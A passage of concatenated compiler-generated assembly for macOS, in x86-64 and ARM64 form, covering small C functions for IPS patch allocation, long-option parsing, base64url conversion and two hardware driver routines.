; in Loop: Header=BB0_2 Depth=1 sxtw x13, w12 add x14, x0, w12, sxtw #2 ldp w15, w16, [x14] lsl w16, w16, #8 orr w16, w16, w15, lsl #16 add x15, x13, #3 ldr w13, [x14, #8] orr w13, w16, w13 cmp w13, w11 b.ne LBB0_6 ; %bb.4: ; in Loop: Header=BB0_2 Depth=1 cmp w15, w1 b.eq LBB0_14 ; %bb.5: ; in Loop: Header=BB0_2 Depth=1 cmp w15, w9 b.eq LBB0_16 LBB0_6: ; in Loop: Header=BB0_2 Depth=1 cmp w15, w10 b.gt LBB0_18 ; %bb.7: ; in Loop: Header=BB0_2 Depth=1 ldr w15, [x0, x15, lsl #2] add w16, w12, #5 ldr w17, [x14, #16] orr w15, w17, w15, lsl #8 cbz w15, LBB0_10 ; %bb.8: ; in Loop: Header=BB0_2 Depth=1 sub w12, w1, w15 cmp w16, w12 b.hi LBB0_18 ; %bb.9: ; in Loop: Header=BB0_2 Depth=1 add w12, w16, w15 b LBB0_1 LBB0_10: ; in Loop: Header=BB0_2 Depth=1 cmp w16, w9 b.gt LBB0_18 ; %bb.11: ; in Loop: Header=BB0_2 Depth=1 ldr w15, [x0, w16, sxtw #2] ldr w14, [x14, #24] orr w15, w14, w15, lsl #8 cbz w15, LBB0_18 ; %bb.12: ; in Loop: Header=BB0_2 Depth=1 add w12, w12, #8 b LBB0_1 LBB0_13: ; in Loop: Header=BB0_2 Depth=1 str w13, [x4] mov x2, x13 b LBB0_2 LBB0_14: mov x20, x3 sxtw x0, w2 bl _malloc cbz x0, LBB0_17 LBB0_15: mov x19, x0 ldr x0, [x20] bl _free str x19, [x20] Lloh2: adrp x8, _PATCH_SUCCESS@GOTPAGE Lloh3: ldr x8, [x8, _PATCH_SUCCESS@GOTPAGEOFF] b LBB0_18 LBB0_16: mov x20, x3 ldr w8, [x0, w9, sxtw #2] ldp w9, w10, [x14, #16] lsl w9, w9, #8 orr w8, w9, w8, lsl #16 orr w8, w8, w10 sxtw x0, w8 str w8, [x4] bl _malloc cbnz x0, LBB0_15 LBB0_17: Lloh4: adrp x8, _PATCH_TARGET_ALLOC_FAILED@GOTPAGE Lloh5: ldr x8, [x8, _PATCH_TARGET_ALLOC_FAILED@GOTPAGEOFF] LBB0_18: ldr w0, [x8] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh4, Lloh5 .cfi_endproc ; -- End function .comm _PATCH_TARGET_ALLOC_FAILED,4,2 ; @PATCH_TARGET_ALLOC_FAILED .comm _PATCH_SUCCESS,4,2 ; @PATCH_SUCCESS .comm _PATCH_PATCH_INVALID,4,2 ; @PATCH_PATCH_INVALID .no_dead_strip _ips_alloc_targetdata .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function alloc_longoptions _alloc_longoptions: ## @alloc_longoptions .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %rbx movl $1, %r15d xorl %r12d, %r12d xorl %r13d, %r13d jmp LBB0_1 .p2align 4, 0x90 LBB0_2: ## in Loop: Header=BB0_1 Depth=1 incq %r13 LBB0_5: ## in Loop: Header=BB0_1 Depth=1 movq (%rbx,%r12,8), %rax incq %r12 movq _ARG_TERMINATOR@GOTPCREL(%rip), %rcx movl (%rcx), %ecx testl %ecx, (%rax) jne LBB0_6 LBB0_1: ## =>This Loop Header: Depth=1 ## Child Loop BB0_4 Depth 2 movq (%rbx,%r12,8), %rax movq 8(%rax), %r14 testq %r14, %r14 je LBB0_2 ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movq %r14, %rdi callq _strlen movl %eax, %ecx movq %r14, %rax movslq %ecx, %rcx addq %rcx, %r13 incq %r13 .p2align 4, 0x90 LBB0_4: ## Parent Loop BB0_1 Depth=1 ## => This Inner Loop Header: Depth=2 incl %r15d incq %rax movq %rax, %rdi movl $44, %esi callq _strchr testq %rax, %rax jne LBB0_4 jmp LBB0_5 LBB0_6: movslq %r15d, %rax leaq (%rax,%rax,2), %r12 leaq 24(,%r12,8), %rdi addq %r13, %rdi callq _malloc testq %rax, %rax je LBB0_23 ## %bb.7: movq $0, 16(%rax) movl %r15d, (%rax) leaq 24(%rax), %rsi movq %rsi, 8(%rax) movq (%rbx), %r8 movq _ARG_TERMINATOR@GOTPCREL(%rip), %rcx movl (%rcx), %edi testl %edi, (%r8) jne LBB0_22 ## %bb.8: leaq (%rax,%r12,8), %r9 addq $24, %r9 movq %rax, %rcx addq $16, %rcx xorl %edx, %edx .p2align 4, 0x90 LBB0_9: ## =>This Inner Loop Header: Depth=1 movq 8(%r8), %r11 testq %r11, %r11 jne LBB0_10 ## %bb.21: ## in Loop: Header=BB0_9 Depth=1 movq 8(%rbx,%rdx,8), %r8 incq %rdx testl %edi, (%r8) je LBB0_9 LBB0_22: xorps %xmm0, %xmm0 movups %xmm0, (%rsi) movq $0, 16(%rsi) LBB0_23: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_10: xorl %esi, %esi movq _ARG_HASOPTVALUE@GOTPCREL(%rip), %rdi movq _ARG_HASVALUE@GOTPCREL(%rip), %r8 jmp LBB0_11 .p2align 4, 0x90 LBB0_15: ## in Loop: Header=BB0_11 Depth=1 movb $0, -1(%r10) xorl %r11d, %r11d cmpb $44, (%r14) sete %r11b addq %r14, %r11 movq 8(%rax), %r14 leaq (%rsi,%rsi,2), %r15 movq %r9, (%r14,%r15,8) movq %rcx, 16(%r14,%r15,8) movl %edx, 8(%r14,%r15,8) movq (%rbx,%rdx,8), %r9 movl (%r9), %r9d testl %r9d, (%rdi) je LBB0_18 ## %bb.16: ## in Loop: Header=BB0_11 Depth=1 movl $2, 12(%r14,%r15,8) LBB0_17: ## in Loop: Header=BB0_11 Depth=1 incq %rsi movq %r10, %r9 LBB0_11: ## =>This Loop Header: Depth=1 ## Child Loop BB0_12 Depth 2 leaq 1(%r9), %r10 movq %r11, %r14 .p2align 4, 0x90 LBB0_12: ## Parent Loop BB0_11 Depth=1 ## => This Inner Loop Header: Depth=2 movzbl (%r14), %r11d testl %r11d, %r11d je LBB0_15 ## %bb.13: ## in Loop: Header=BB0_12 Depth=2 cmpl $44, %r11d je LBB0_15 ## %bb.14: ## in Loop: Header=BB0_12 Depth=2 incq %r14 movb %r11b, -1(%r10) incq %r10 jmp LBB0_12 .p2align 4, 0x90 LBB0_18: ## in Loop: Header=BB0_11 Depth=1 leaq (%r14,%r15,8), %r14 addq $12, %r14 testl %r9d, (%r8) je LBB0_20 ## %bb.19: ## in Loop: Header=BB0_11 Depth=1 movl $1, (%r14) jmp LBB0_17 LBB0_20: ## in Loop: Header=BB0_11 Depth=1 movl $0, (%r14) jmp LBB0_17 .cfi_endproc ## -- End function .comm _ARG_TERMINATOR,4,2 ## @ARG_TERMINATOR .comm _ARG_HASOPTVALUE,4,2 ## @ARG_HASOPTVALUE .comm _ARG_HASVALUE,4,2 ## @ARG_HASVALUE .no_dead_strip _alloc_longoptions .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function alloc_longoptions _alloc_longoptions: ; @alloc_longoptions .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x0 mov x24, #0 ; =0x0 mov x23, #0 ; =0x0 mov w21, #1 ; =0x1 Lloh0: adrp x22, _ARG_TERMINATOR@GOTPAGE Lloh1: ldr x22, [x22, _ARG_TERMINATOR@GOTPAGEOFF] b LBB0_3 LBB0_1: ; in Loop: Header=BB0_3 Depth=1 add x23, x23, #1 LBB0_2: ; in Loop: Header=BB0_3 Depth=1 ldr x8, [x19, x24, lsl #3] add x24, x24, #1 ldr w8, [x8] ldr w9, [x22] tst w9, w8 b.ne LBB0_6 LBB0_3: ; =>This Loop Header: Depth=1 ; Child Loop BB0_5 Depth 2 ldr x8, [x19, x24, lsl #3] ldr x20, [x8, #8] cbz x20, LBB0_1 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 mov x0, x20 bl _strlen mov x8, x0 mov x0, x20 add w8, w8, #1 add x23, x23, w8, sxtw LBB0_5: ; Parent Loop BB0_3 Depth=1 ; => This Inner Loop Header: Depth=2 add w21, w21, #1 add x0, x0, #1 mov w1, #44 ; =0x2c bl _strchr cbnz x0, LBB0_5 b LBB0_2 LBB0_6: mov w8, #24 ; =0x18 smaddl x8, w21, w8, x23 add x0, x8, #24 bl _malloc cbz x0, LBB0_12 ; %bb.7: mov x8, x0 str xzr, [x8, #16]! str w21, [x0] add x13, x0, #24 str x13, [x0, #8] ldr x12, [x19] ldr w9, [x12] ldr w14, [x22] tst w14, w9 b.ne LBB0_11 ; %bb.8: mov w9, #0 ; =0x0 mov w10, #24 ; =0x18 smaddl x11, w21, w10, x13 add x10, x19, #8 LBB0_9: ; =>This Inner Loop Header: Depth=1 ldr x12, [x12, #8] cbnz x12, LBB0_13 ; %bb.10: ; in Loop: Header=BB0_9 Depth=1 ldr x12, [x10], #8 ldr w15, [x12] add w9, w9, #1 tst w14, w15 b.eq LBB0_9 LBB0_11: stp xzr, xzr, [x13] str xzr, [x13, #16] LBB0_12: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret LBB0_13: mov x13, #0 ; =0x0 mov w14, #24 ; =0x18 Lloh2: adrp x15, _ARG_HASOPTVALUE@GOTPAGE Lloh3: ldr x15, [x15, _ARG_HASOPTVALUE@GOTPAGEOFF] Lloh4: adrp x16, _ARG_HASVALUE@GOTPAGE Lloh5: ldr x16, [x16, _ARG_HASVALUE@GOTPAGEOFF] mov w17, #1 ; =0x1 mov w1, #2 ; =0x2 b LBB0_16 LBB0_14: ; in Loop: Header=BB0_16 Depth=1 sturb wzr, [x11, #-1] mov x3, x12 ldrb w4, [x3], #1 cmp w4, #44 csel x12, x12, x3, ne ldr x3, [x0, #8] madd x4, x13, x14, x3 str x2, [x4] str x8, [x4, #16] str w9, [x4, #8] ldur x2, [x10, #-8] ldr w2, [x2] ldr w4, [x15] tst w4, w2 b.eq LBB0_20 ; %bb.15: ; in Loop: Header=BB0_16 Depth=1 madd x2, x13, x14, x3 str w1, [x2, #12] add x13, x13, #1 LBB0_16: ; =>This Loop Header: Depth=1 ; Child Loop BB0_17 Depth 2 mov x2, x11 LBB0_17: ; Parent Loop BB0_16 Depth=1 ; => This Inner Loop Header: Depth=2 add x11, x11, #1 ldrb w3, [x12] cbz w3, LBB0_14 ; %bb.18: ; in Loop: Header=BB0_17 Depth=2 cmp w3, #44 b.eq LBB0_14 ; %bb.19: ; in Loop: Header=BB0_17 Depth=2 add x12, x12, #1 sturb w3, [x11, #-1] b LBB0_17 LBB0_20: ; in Loop: Header=BB0_16 Depth=1 ldr w4, [x16] madd x3, x13, x14, x3 tst w4, w2 b.eq LBB0_22 ; %bb.21: ; in Loop: Header=BB0_16 Depth=1 stur w17, [x3, #12] add x13, x13, #1 b LBB0_16 LBB0_22: ; in Loop: Header=BB0_16 Depth=1 stur wzr, [x3, #12] add x13, x13, #1 b LBB0_16 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGot Lloh4, Lloh5 .loh AdrpLdrGot Lloh2, Lloh3 .cfi_endproc ; -- End function .comm _ARG_TERMINATOR,4,2 ; @ARG_TERMINATOR .comm _ARG_HASOPTVALUE,4,2 ; @ARG_HASOPTVALUE .comm _ARG_HASVALUE,4,2 ; @ARG_HASVALUE .no_dead_strip _alloc_longoptions .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _base64url_to_base64 ## -- Begin function base64url_to_base64 .p2align 4, 0x90 _base64url_to_base64: ## @base64url_to_base64 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movzbl (%rdi), %eax testb %al, %al sete %cl testl %edx, %edx setle %r8b xorl %ebx, %ebx testb %cl, %r8b jne LBB0_7 ## %bb.1: movslq %edx, %rcx xorl %ebx, %ebx jmp LBB0_2 .p2align 4, 0x90 LBB0_3: ## in Loop: Header=BB0_2 Depth=1 movb $43, %al LBB0_6: ## in Loop: Header=BB0_2 Depth=1 movb %al, (%rsi,%r8) leaq -1(%r8), %rbx movzbl -1(%rdi,%r8), %eax testb %al, %al setne %r9b cmpq %rcx, %r8 setle %r8b orb %r9b, %r8b je LBB0_7 LBB0_2: ## =>This Inner Loop Header: Depth=1 movq %rbx, %r8 cmpb $45, %al je LBB0_3 ## %bb.4: ## in Loop: Header=BB0_2 Depth=1 movzbl %al, %r9d cmpl $95, %r9d jne LBB0_6 ## %bb.5: ## in Loop: Header=BB0_2 Depth=1 movb $47, %al jmp LBB0_6 LBB0_7: leal -3(%rbx), %ecx andl $-4, %ecx movl $-1, %eax cmpl %edx, %ecx jge LBB0_14 ## %bb.8: movl %ebx, %ecx andl $3, %ecx je LBB0_12 ## %bb.9: movslq %ebx, %rdi addq %rsi, %rdi movl $4, %eax subl %ecx, %eax movq %rsi, %r14 movl $61, %esi movl %edx, %r15d movq %rax, %rdx callq _memset movq %r14, %rsi movl %r15d, %edx leal 1(%rbx), %eax testb $3, %al je LBB0_13 ## %bb.10: leal 2(%rbx), %eax testb $3, %al je LBB0_13 ## %bb.11: leal 3(%rbx), %eax addl $4, %ebx testb $3, %al cmovel %eax, %ebx LBB0_12: movl %ebx, %eax LBB0_13: cltq movb $0, (%rsi,%rax) xorl %edi, %edi cmpl %edx, %eax setl %dil callq _assert xorl %eax, %eax LBB0_14: addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _base64url_to_base64 ; -- Begin function base64url_to_base64 .p2align 2 _base64url_to_base64: ; @base64url_to_base64 .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x2 ldrb w8, [x0] cmp w2, #0 b.gt LBB0_3 ; %bb.1: cbnz w8, LBB0_3 ; %bb.2: mov w20, #0 ; =0x0 b LBB0_6 LBB0_3: mov x20, #0 ; =0x0 sxtw x9, w19 sub x10, x0, #1 mov w11, #43 ; =0x2b mov w12, #47 ; =0x2f LBB0_4: ; =>This Inner Loop Header: Depth=1 mov x13, x20 cmp w8, #95 csel w14, w8, w12, ne cmp w8, #45 csel w8, w11, w14, eq strb w8, [x1, x20] ldrb w8, [x10, x20] sub x20, x20, #1 cmp x13, x9 b.le LBB0_4 ; %bb.5: ; in Loop: Header=BB0_4 Depth=1 cbnz w8, LBB0_4 LBB0_6: sub w8, w20, #3 and w8, w8, #0xfffffffc cmp w8, w19 b.ge LBB0_10 ; %bb.7: ands w8, w20, #0x3 b.eq LBB0_9 ; %bb.8: add x0, x1, w20, sxtw eor w22, w8, #0x3 mov w9, #4 ; =0x4 sub w2, w9, w8 mov x21, x1 mov w1, #61 ; =0x3d bl _memset mov x1, x21 add w8, w20, w22 add w20, w8, #1 LBB0_9: strb wzr, [x1, w20, sxtw] cmp w20, w19 cset w0, lt bl _assert mov w0, #0 ; =0x0 b LBB0_11 LBB0_10: mov w0, #-1 ; =0xffffffff LBB0_11: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function nic_set_lmac_vf_mapping _nic_set_lmac_vf_mapping: ## @nic_set_lmac_vf_mapping .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %r13 movl 24(%rdi), %edi callq _bgx_get_map movq $0, (%r13) movq 32(%r13), %rax cmpl $0, (%rax) js LBB0_14 ## %bb.1: movq $0, -56(%rbp) ## 8-byte Folded Spill movq _NIC_PF_LMAC_0_7_CREDIT@GOTPCREL(%rip), %rbx xorl %r14d, %r14d .p2align 4, 0x90 LBB0_3: ## =>This Loop Header: Depth=1 ## Child Loop BB0_6 Depth 2 ## Child Loop BB0_10 Depth 2 movl 24(%r13), %edi movl %r14d, %esi callq _bgx_get_lmac_count movl %eax, %esi testl %eax, %eax movl %eax, -48(%rbp) ## 4-byte Spill jle LBB0_4 ## %bb.5: ## in Loop: Header=BB0_3 Depth=1 movl %r14d, %ebx movq %r13, %r14 movslq -56(%rbp), %r15 ## 4-byte Folded Reload shlq $2, %r15 movl %esi, %r13d xorl %r12d, %r12d .p2align 4, 0x90 LBB0_6: ## Parent Loop BB0_3 Depth=1 ## => This Inner Loop Header: Depth=2 movl %ebx, %edi movl %r12d, %esi callq _NIC_SET_VF_LMAC_MAP movq 16(%r14), %rcx addq %r15, %rcx movl %eax, (%rcx,%r12,4) incq %r12 cmpl %r12d, %r13d jne LBB0_6 ## %bb.7: ## in Loop: Header=BB0_3 Depth=1 movq -56(%rbp), %rax ## 8-byte Reload addl %r12d, %eax movq %rax, -56(%rbp) ## 8-byte Spill movq _NIC_PF_LMAC_0_7_CREDIT@GOTPCREL(%rip), %rdi movq %r14, %r13 movl %ebx, %r14d movl -48(%rbp), %esi ## 4-byte Reload jmp LBB0_8 .p2align 4, 0x90 LBB0_4: ## in Loop: Header=BB0_3 Depth=1 movq %rbx, %rdi LBB0_8: ## in Loop: Header=BB0_3 Depth=1 movslq %esi, %r15 addq (%r13), %r15 movq %r15, (%r13) movl $49152, %eax ## imm = 0xC000 xorl %edx, %edx idivl %esi ## kill: def $eax killed $eax def $rax movq _NIC_HW_MAX_FRS@GOTPCREL(%rip), %rcx subl (%rcx), %eax leal 15(%rax), %r12d testl %eax, %eax cmovnsl %eax, %r12d testl %esi, %esi movq _MAX_LMAC_PER_BGX@GOTPCREL(%rip), %rax jle LBB0_12 ## %bb.9: ## in Loop: Header=BB0_3 Depth=1 andl $-16, %r12d shll $8, %r12d orl $2046, %r12d ## imm = 0x7FE movl (%rax), %eax imull %r14d, %eax movq %r13, %rbx movl %r14d, -44(%rbp) ## 4-byte Spill movq %rdi, %r14 movslq %eax, %r13 leaq (,%r13,8), %r15 .p2align 4, 0x90 LBB0_10: ## Parent Loop BB0_3 Depth=1 ## => This Inner Loop Header: Depth=2 movq (%r14), %rsi addq %r15, %rsi movq %rbx, %rdi movl %r12d, %edx callq _nic_reg_write incq %r13 movq _MAX_LMAC_PER_BGX@GOTPCREL(%rip), %rax movl (%rax), %eax imull -44(%rbp), %eax ## 4-byte Folded Reload addl -48(%rbp), %eax ## 4-byte Folded Reload cltq addq $8, %r15 cmpq %rax, %r13 jl LBB0_10 ## %bb.11: ## in Loop: Header=BB0_3 Depth=1 movq (%rbx), %r15 movq %r14, %rdi movq %rbx, %r13 movl -44(%rbp), %r14d ## 4-byte Reload LBB0_12: ## in Loop: Header=BB0_3 Depth=1 movq %rdi, %rbx movl 8(%r13), %edi callq _pci_sriov_get_totalvfs cmpq %rax, %r15 jge LBB0_13 ## %bb.2: ## in Loop: Header=BB0_3 Depth=1 decl %r14d movq 32(%r13), %rax cmpl (%rax), %r14d jle LBB0_3 jmp LBB0_14 LBB0_13: movl 8(%r13), %edi callq _pci_sriov_get_totalvfs movq %rax, (%r13) LBB0_14: addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _NIC_HW_MAX_FRS,4,2 ## @NIC_HW_MAX_FRS .comm _MAX_LMAC_PER_BGX,4,2 ## @MAX_LMAC_PER_BGX .comm _NIC_PF_LMAC_0_7_CREDIT,8,3 ## @NIC_PF_LMAC_0_7_CREDIT .no_dead_strip _nic_set_lmac_vf_mapping .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function nic_set_lmac_vf_mapping _nic_set_lmac_vf_mapping: ; @nic_set_lmac_vf_mapping .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x19, x0 ldr w0, [x0, #24] bl _bgx_get_map str xzr, [x19] ldr x8, [x19, #32] ldr w8, [x8] tbnz w8, #31, LBB0_12 ; %bb.1: mov w23, #0 ; =0x0 mov w20, #0 ; =0x0 Lloh0: adrp x25, _NIC_HW_MAX_FRS@GOTPAGE Lloh1: ldr x25, [x25, _NIC_HW_MAX_FRS@GOTPAGEOFF] Lloh2: adrp x26, _MAX_LMAC_PER_BGX@GOTPAGE Lloh3: ldr x26, [x26, _MAX_LMAC_PER_BGX@GOTPAGEOFF] Lloh4: adrp x27, _NIC_PF_LMAC_0_7_CREDIT@GOTPAGE Lloh5: ldr x27, [x27, _NIC_PF_LMAC_0_7_CREDIT@GOTPAGEOFF] LBB0_2: ; =>This Loop Header: Depth=1 ; Child Loop BB0_4 Depth 2 ; Child Loop BB0_7 Depth 2 ldr w0, [x19, #24] mov x1, x20 bl _bgx_get_lmac_count mov x21, x0 cmp w0, #1 b.lt LBB0_5 ; %bb.3: ; in Loop: Header=BB0_2 Depth=1 mov x22, #0 ; =0x0 sbfiz x28, x23, #2, #32 add w23, w21, w23 mov w24, w21 LBB0_4: ; Parent Loop BB0_2 Depth=1 ; => This Inner Loop Header: Depth=2 mov x0, x20 mov x1, x22 bl _NIC_SET_VF_LMAC_MAP ldr x8, [x19, #16] str w0, [x8, x28] add x28, x28, #4 add x22, x22, #1 cmp w24, w22 b.ne LBB0_4 LBB0_5: ; in Loop: Header=BB0_2 Depth=1 ldr x8, [x19] add x22, x8, w21, sxtw str x22, [x19] mov w8, #49152 ; =0xc000 sdiv w8, w8, w21 ldr w9, [x25] subs w8, w8, w9 add w9, w8, #15 csel w8, w9, w8, lt cmp w21, #1 b.lt LBB0_9 ; %bb.6: ; in Loop: Header=BB0_2 Depth=1 lsr w8, w8, #4 mov w22, #2046 ; =0x7fe bfi w22, w8, #12, #20 ldr w8, [x26] mul w8, w8, w20 sxtw x24, w8 sbfiz x28, x8, #3, #32 LBB0_7: ; Parent Loop BB0_2 Depth=1 ; => This Inner Loop Header: Depth=2 ldr x8, [x27] add x1, x28, x8 mov x0, x19 mov x2, x22 bl _nic_reg_write add x24, x24, #1 ldr w8, [x26] madd w8, w8, w20, w21 add x28, x28, #8 cmp x24, w8, sxtw b.lt LBB0_7 ; %bb.8: ; in Loop: Header=BB0_2 Depth=1 ldr x22, [x19] LBB0_9: ; in Loop: Header=BB0_2 Depth=1 ldr w0, [x19, #8] bl _pci_sriov_get_totalvfs cmp x22, x0 b.ge LBB0_11 ; %bb.10: ; in Loop: Header=BB0_2 Depth=1 sub w20, w20, #1 ldr x8, [x19, #32] ldr w8, [x8] cmp w20, w8 b.le LBB0_2 b LBB0_12 LBB0_11: ldr w0, [x19, #8] bl _pci_sriov_get_totalvfs str x0, [x19] LBB0_12: ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh4, Lloh5 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _NIC_HW_MAX_FRS,4,2 ; @NIC_HW_MAX_FRS .comm _MAX_LMAC_PER_BGX,4,2 ; @MAX_LMAC_PER_BGX .comm _NIC_PF_LMAC_0_7_CREDIT,8,3 ; @NIC_PF_LMAC_0_7_CREDIT .no_dead_strip _nic_set_lmac_vf_mapping .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function hwicap_get_configuration_register _hwicap_get_configuration_register: ## @hwicap_get_configuration_register .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx subq $32, %rsp .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdx, %rbx movl %esi, %r15d movq %rdi, %r14 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -40(%rbp) movq _XHI_DUMMY_PACKET@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -64(%rbp) movq _XHI_NOOP_PACKET@GOTPCREL(%rip), %r12 movl (%r12), %eax movl %eax, -60(%rbp) movq _XHI_SYNC_PACKET@GOTPCREL(%rip), %rcx movl (%rcx), %ecx movl %ecx, -56(%rbp) movl %eax, -52(%rbp) movl %eax, -48(%rbp) movq (%rdi), %rax leaq -64(%rbp), %rsi movl $5, %edx callq *(%rax) testl %eax, %eax jne LBB0_5 ## %bb.1: movq (%r14), %rax movq %r14, %rdi callq *8(%rax) movq _XHI_SR_DALIGN_MASK@GOTPCREL(%rip), %rcx movl (%rcx), %ecx notl %ecx testl %eax, %ecx jne LBB0_2 ## %bb.3: movl %r15d, %edi callq _hwicap_type_1_read orl $1, %eax movl %eax, -64(%rbp) movl (%r12), %eax movl %eax, -60(%rbp) movl %eax, -56(%rbp) movq (%r14), %rax leaq -64(%rbp), %rsi movq %r14, %rdi movl $3, %edx callq *(%rax) testl %eax, %eax jne LBB0_5 ## %bb.4: movq (%r14), %rax movq %r14, %rdi movq %rbx, %rsi movl $1, %edx callq *16(%rax) jmp LBB0_5 LBB0_2: movq _EIO@GOTPCREL(%rip), %rcx xorl %eax, %eax subl (%rcx), %eax LBB0_5: movq ___stack_chk_guard@GOTPCREL(%rip), %rcx movq (%rcx), %rcx cmpq -40(%rbp), %rcx jne LBB0_7 ## %bb.6: addq $32, %rsp popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq LBB0_7: callq ___stack_chk_fail .cfi_endproc ## -- End function .comm _XHI_DUMMY_PACKET,4,2 ## @XHI_DUMMY_PACKET .comm _XHI_NOOP_PACKET,4,2 ## @XHI_NOOP_PACKET .comm _XHI_SYNC_PACKET,4,2 ## @XHI_SYNC_PACKET .comm _XHI_SR_DALIGN_MASK,4,2 ## @XHI_SR_DALIGN_MASK .comm _EIO,4,2 ## @EIO .no_dead_strip _hwicap_get_configuration_register .subsections_via_symbols
